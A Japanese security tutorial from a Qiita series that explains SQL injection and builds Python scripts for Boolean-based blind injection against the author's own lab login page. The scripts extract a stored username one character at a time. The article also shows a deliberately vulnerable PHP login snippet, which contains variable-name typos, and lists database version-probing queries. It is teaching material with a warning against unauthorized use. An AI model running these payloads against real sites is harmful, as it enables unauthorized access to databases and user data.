6
9

More than 3 years have passed since last update.

[Python] Pythonとセキュリティ - ③Pythonで作るSQL Injectionツール

Last updated at Posted at 2020-03-09

はじめに

前回([Python] Pythonとセキュリティ - ②Pythonで作るポートスキャニングツール)でPythonを利用して簡単なポートスキャニングツールを作ってみた。
今回はウェブ脆弱性の中で重要度が高い「SQL Injection」の理解を深める為、ツールを作ってみよう。

許可を得ていない対象に実施するのは犯罪です。当該の記事で問題が発生した場合、弊社では一切責任を負い兼ねますのでご了承ください。

SQL Injectionとは

SQL Injectionは「Injection」攻撃の一つの種類で、クライアントの入力値がサーバのデータベースに送信され、データーベースの操作、破棄、漏洩などを行う攻撃方法である。攻撃方法の難易度は低いがデータベースを直接攻撃するため、被害が大きい攻撃である。このようなInjectionの脆弱性の場合、スキャニングツールなどで発見される場合が多いため、ウェブの担当者は必ず完成されたウェブページにスキャニングツール等を利用して「Injection Vector」を事前に把握し、改善する必要がある。

Injection Vectorとは

Injection VectorとはSQL Injectionが挿入できるところである。
主にGET, POSTのメソッドのパラメータや、HTTP RequestのMessage Headerなどがある。

SQL Injectionの分類

SQL Injectionは主に「Non-Blind SQL Injection」「Blind SQL Injection」二つがある。
また、Non-Blind SQL Injectionには「Query Result SQL Injection」「Error Based SQL Injection」
Blind SQL Injectionには「Boolean-Based SQL Injection」「Time Based SQL Injection」がある。

発生原因

一般的に発生する原因はウェブページからデータベースに値が送信される際、SQLコマンドとして認識される値が検証されていないため、発生する場合が多い。

脆弱な検証

もし、下記の様にログインをチェックするコードがあると想定してみよう。

<?php
    $id=$_POST["id"];
    $pw=$_POST["pw"];
    $SQL="SELECT * FROM info WHERE id='$id' and pw='$pw'";
    $query=mysql_query($SQL,$DB);
    $query_arr=mysql_fetch_array($querry);
    if($rs_arr){
        header('Location: main.php'); //ログイン成功
     } else {
        header('Location: login.php'); //ログイン失敗
     }
?>

POSTで入力されたIDとPASSWORDはそれぞれ「id」と「pw」の変数に保存されて、SELECT文を利用して、データベースに照会する。その結果を「if」文を利用して、結果がある(1, True)場合、main.phpに移動させる。結果がない(0, False)場合、またlogin.phpに移動させるコードである。ログインの成功、失敗の動作もしているし、別に問題はなさそうだが実は大きな問題とみられるのが二つある。
1つ目は、入力されたIDとPWの検証を行っていない。ここで検証というのはIDとPWにSQLで利用する記号(「'」、「"」「#」など)に対して適切な変換または入力禁止とすることである。
2つ目はログインの成功失敗の判断が以下の通り、データベース参照結果のTrueとFalseである。

$query=mysql_query($SQL,$DB);

IDとPWを探すSELECT文を単純にデータベースに投げて

$query_arr=mysql_fetch_array($querry);

その次、データがある、つまりIDとPWがデータベースに一致したものがある場合、戻り値として1を返還する。
このようにそのIDとPWが本当にデータベースにあるかとは検証せずに、ただ戻り値が1であればログインの検証が終わってしまう。

攻撃の流れ

データベースのタイプ調査

ウェブページから使用されているデータベースは主に3つ(MY-SQL, MS-SQL, Oracle)がある。
基本的なSQL文法は似ているが、異なる文法があるため、まず、ウェブサーバがどのようなデータベースを使っているか確認が必要である。
確認方法ではウェブサーバが使用しているWASからの推測がある。
ASPやASP.NETの場合、「MS-SQL」
PHPの場合、「MY-SQL」
JSPの場合、「ORACLE」で推測できる。

データベースバージョンの調査

データベースのバージョンを確認することで、当該のバージョンが持っている脆弱性を利用することも可能である。
データベースのバージョンはInjection VectorにSQLバージョンを確認するクエリ文を投げて確認する。

MY-SQL

SELECT VERSION();
SHOW VARIABLES LIKE 'version';
SELECT @@version

MS-SQL

SELECT @@version

ORACLE

SELECT * FROM v$version WHERE banner LIKE 'Oracle%';
SELECT * FROM v$version;
SELECT * FROM PRODUCT_COMPONENT_VERSION;

脆弱な検証を利用して攻撃

上記でSQL Injectionの発生原因を調べてみた。SQL Injection攻撃はそのような脆弱な検証を利用して攻撃を行う。

requestsモジュールを利用してPythonでSQL Injecitonツールを作ってみよう

image.png
今回は事前に作った脆弱性があるウェブページを利用してSQL Injectionの脆弱性を確認するツールを作ってみる。
ここでは「Boolean-Based SQL Injection」の方法を利用する。
まず、「requests」モジュールを利用する
「request」モジュールはPythonからパケットを送信してくれるモジュールである。
まず、ログインの成功と失敗の動作はどうなってるか確認してみよう

image.png
【▲ ログインに成功すると、メニューが表示される】
image.png
image.png
【▲ ログインに失敗すると、エラーメッセージが表示される】
これで、ログインに成功するとメニュー画面がでて、ログインに失敗するとエラーメッセージが表示されるのを確認した。

image.png
また、URLにIDとPWのフォームデータが送信されることで、GETメソッドを利用してサーバに送信されるのも確認できた。

まず、IDとパスワードを調べるために、IDの長さを求めるコードを作成しよう。
今回は、精密なSQL Injectionツールの作成が目標ではないため、データベースの保存されているIDを探すことのみソースコードとして作成してみる。
また、データベースに保存されいてるIDの中で一番長さが短いIDと限定する。

sql_injection.py
import requests

url = 'http://172.16.1.105/login_check.php'
length_id = 0 #IDの長さを保存する変数

while True: #IDの長さが20桁まで検証
    length_id=length_id+1 #1桁ずつ増やす
    sql = "' or char_length(username) = %s; #" % length_id #データベースのusername行の長さをチェックするSQL文を入れる
    para = {'id': sql, 'pw': '1'} #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
    send = requests.get(url,params=para) #パケットを送信する
    status_code = send.status_code #サーバの応答コードを変数に保存する
    if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
        print("ステータスエラーです。")
        break
    #本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さが合っているので長さを表示させる
    if "パスワードが正しくありません。" in send.text:
        print("IDは%d桁です。" % length_id)
        break
「結果」sql_injection.py
IDは2桁です
>>>

次は、IDの長さを参考して、IDを調べてみよう。

import requests

url = 'http://172.16.1.105/login_check.php'

length_id = 2 #IDの長さを保存する変数
string_id = "" #IDを保存する変数
for len in range(1,length_id+1):
    for ascii in range(97,123): #小文字a~zのASCIIコードをループさせる
        #データベースに保存されている文字列と長さを比較してTueを探す
        sql = "' or ascii(substring(username,{},1)) = {} AND char_length(username) = {}; #".format(len,ascii,length_id)
        para = {'id': sql, 'pw': '1'}  #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
        send = requests.get(url, params=para)  #パケットを送信する
        status_code = send.status_code
        if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
            print("ステータスエラーです。")
            break
        #本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さや文字列が合っているので変数に保存する
        if "パスワードが正しくありません。" in send.text:
            string_id+=chr(ascii) #string_idの変数にASCIIコードをCHARデータがたで保存する

print("データベースに保存されいているID:%s" % string_id)
「結果」sql_injection.py
データベースに保存されいているIDyu
>>>

最終的に二つのソースコートを合わせて作ってみよう。

final_sql_injection.py
import requests

url = 'http://172.16.1.105/login_check.php'
length_id = 0 #IDの長さを保存する変数
string_id = "" #IDを保存する変数

while True: #IDの長さが20桁まで検証
    length_id=length_id+1 #1桁ずつ増やす
    sql = "' or char_length(username) = %s; #" % length_id #データベースのusername行の長さをチェックするSQL文を入れる
    para = {'id': sql, 'pw': '1'} #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
    send = requests.get(url,params=para) #パケットを送信する
    status_code = send.status_code #サーバの応答コードを変数に保存する
    if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
        print("ステータスエラーです。")
        break
    #本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さが合っているので長さを表示させる
    if "パスワードが正しくありません。" in send.text:
        print("IDは%d桁です。" % length_id)
        break
for len in range(1,length_id+1):
    for ascii in range(97,123): #小文字a~zのASCIIコードをループさせる
        #データベースに保存されている文字列と長さを比較してTueを探す
        sql = "' or ascii(substring(username,{},1)) = {} AND char_length(username) = {}; #".format(len,ascii,length_id)
        para = {'id': sql, 'pw': '1'}  #getパラメータにidは上記のSQLを、パスワードには適当に1を入れる
        send = requests.get(url, params=para)  #パケットを送信する
        status_code = send.status_code
        if status_code != 200 : #ステータスが200じゃない場合、エラーを表示して中止する
            print("ステータスエラーです。")
            break
        #本文に「パスワードが正しくありません。」の内容が表示されるとIDの長さや文字列が合っているので変数に保存する
        if "パスワードが正しくありません。" in send.text:
            string_id+=chr(ascii) #string_idの変数にASCIIコードをCHARデータがたで保存する

print("データベースに保存されいているID:%s" % string_id)
「結果」final_sql_injection.py
IDは2桁です
データベースに保存されいているIDyu
>>> 

image.png
データベースに直接クエリを投げた見た結果、御覧のように実際存在しているIDということが確認できた。

まとめ

image.png
【▲ 2013年から2017年のOWASP TOP10変化】

ご覧のように、2017年にもOWASP TOP10の1位は「Injection」攻撃になっている。SQL Injectionを含め、Injection攻撃は攻撃原理、攻撃方法は単純であるが、その被害が大きいため、ハッカーから愛されている攻撃でもある。

今回はPythonでSQL Injectionツールを作ってみた。前もって作成していた脆弱性のページであり、データベースの構造を知っているため、通常よりも簡単で作成できたかもしれないが、セキュリティやシステムの担当者はこのように短いソースコードでSQL Injectionのツールが作れることに深刻性を気付いて万全な準備をする必要がある。

記事まとめ

2020年02月18日 - :sunny:[Python] Pythonとセキュリティ - ②Pythonで作るポートスキャニングツール
2020年02月14日 - :sunny:[Python] Pythonとセキュリティ - ①Pythonとは

6
9
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
6
9